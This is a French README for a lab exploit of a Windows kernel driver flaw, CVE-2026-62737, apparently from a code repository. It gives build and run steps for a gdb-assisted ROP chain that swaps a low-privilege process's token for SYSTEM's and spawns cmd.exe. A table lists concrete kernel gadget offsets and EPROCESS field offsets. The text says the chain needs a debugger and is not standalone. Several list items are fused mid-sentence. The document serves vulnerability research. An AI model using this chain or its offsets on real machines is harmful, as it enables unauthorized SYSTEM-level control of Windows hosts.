
Élève un processus Windows à faibles privilèges au niveau SYSTEM via une chaîne ROP d'échange de jetons assistée par gdb, démontrant CVE-2026-62737 dans un environnement QEMU réservé au laboratoire.
Une suite à l'article original sur CVE-2026-62737 (ExecutionContext.sys appel indirect arbitraire du noyau). Il transforme le PoC du crash en une chaîne d'échange de jeton fonctionnelle qui lance cmd.exe en tant que SYSTEM, mais uniquement dans un laboratoire où un débogueur fournit les adresses et écrit la chaîne ROP dans la mémoire noyau. Ce n'est pas un exploit autonome.
ExecutionContext via le proxy KLoader en tant qu'utilisateur à faibles privilèges.0x22EC40) et met en file une tâche (0x22AC54) dont Callback est un pivot ROP du noyau.patch_rop.py) écrit une chaîne ROP d'échange de jeton dans ExecutionContext .data et capture le RSP/RBP au moment du pivot via un point d'arrêt matériel.0x226C5C), la chaîne échange notre jeton contre celui de SYSTEM, restaure la pile noyau, puis retourne dans le répartiteur du pilote afin que le travailleur survive.gdbserver tcp::1234), un agent invité et un dossier partagé hôte/invité monté en Z:.\\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}.x86_64-w64-mingw32-gcc) et gdb sur l'hôte.x86_64-w64-mingw32-gcc -O2 -municode -o exploit.exe exploit.c
x86_64-w64-mingw32-gcc -O2 -o modlist.exe modlist.c
Obtenez les nouvelles bases : ./ga.py 'Z:\modlist.exe' (après avoir copié modlist.exe vers le dossier partagé)
Mettez à jour les scripts : ./refresh_bases.sh
Copiez exploit.exe et modlist.exe dans le dossier partagé.
Lancez l'exploit en tant qu'utilisateur à faibles privilèges : exploit.exe <nt> <ec> <ec+0x10A00>. Il écrit son PID dans Z:\lab_pid.txt et attend Z:\go_lab.txt.
Attachez gdb, en pointant LAB_PID_FILE vers la copie hôte de lab_pid.txt :
LAB_PID_FILE=/path/to/shared/lab_pid.txt \
gdb -q -ex 'target remote :1234' -ex 'set pagination off' -x patch_rop.py
Tapez continue à l'invite de gdb.
MIT, voir LICENSE.
| Fichier | Rôle |
|---|
exploit.c | Exploit de laboratoire : init + mise en file + attente du patch gdb + vérification du jeton + lancement de cmd. |
patch_rop.py | Script gdb : localise notre EPROCESS, écrit la chaîne ROP, arme le point d'arrêt du pivot. |
trace_rop.py | Même configuration, mais exécute la chaîne pas à pas pour le débogage. |
refresh_bases.sh | Met à jour les bases nt/ec par démarrage dans les scripts gdb à partir de la sortie de modlist.exe. |
modlist.c | Affiche la base ntoskrnl / ExecutionContext par démarrage (oracle KASLR de laboratoire). |
ga.py | Exécute des commandes dans la VM de laboratoire via l'agent invité QEMU. |
Relâchez l'exploit : touch /path/to/shared/go_lab.txt
Après ~15 s, Z:\lab_exploit_out.txt devrait afficher system=1 et Z:\lab_shell_out.txt devrait contenir nt authority\system.
| Élément | Valeur |
|---|
| Pivot ROP (complet) | nt + 0x6A6A40 |
pop rcx; ret | nt + 0x28843A |
pop rdx; ret | nt + 0x2FECD2 |
mov [rcx], rdx; ret | nt + 0x3BC6A7 |
ret | nt + 0x20043B |
pop rsp; ret | nt + 0x2006C4 |
PsInitialSystemProcess | nt + 0xFC6AF0 |
_EPROCESS.Token | 0x248 |
_EPROCESS.UniqueProcessId | 0x1D0 |
_EPROCESS.ActiveProcessLinks | 0x1D8 |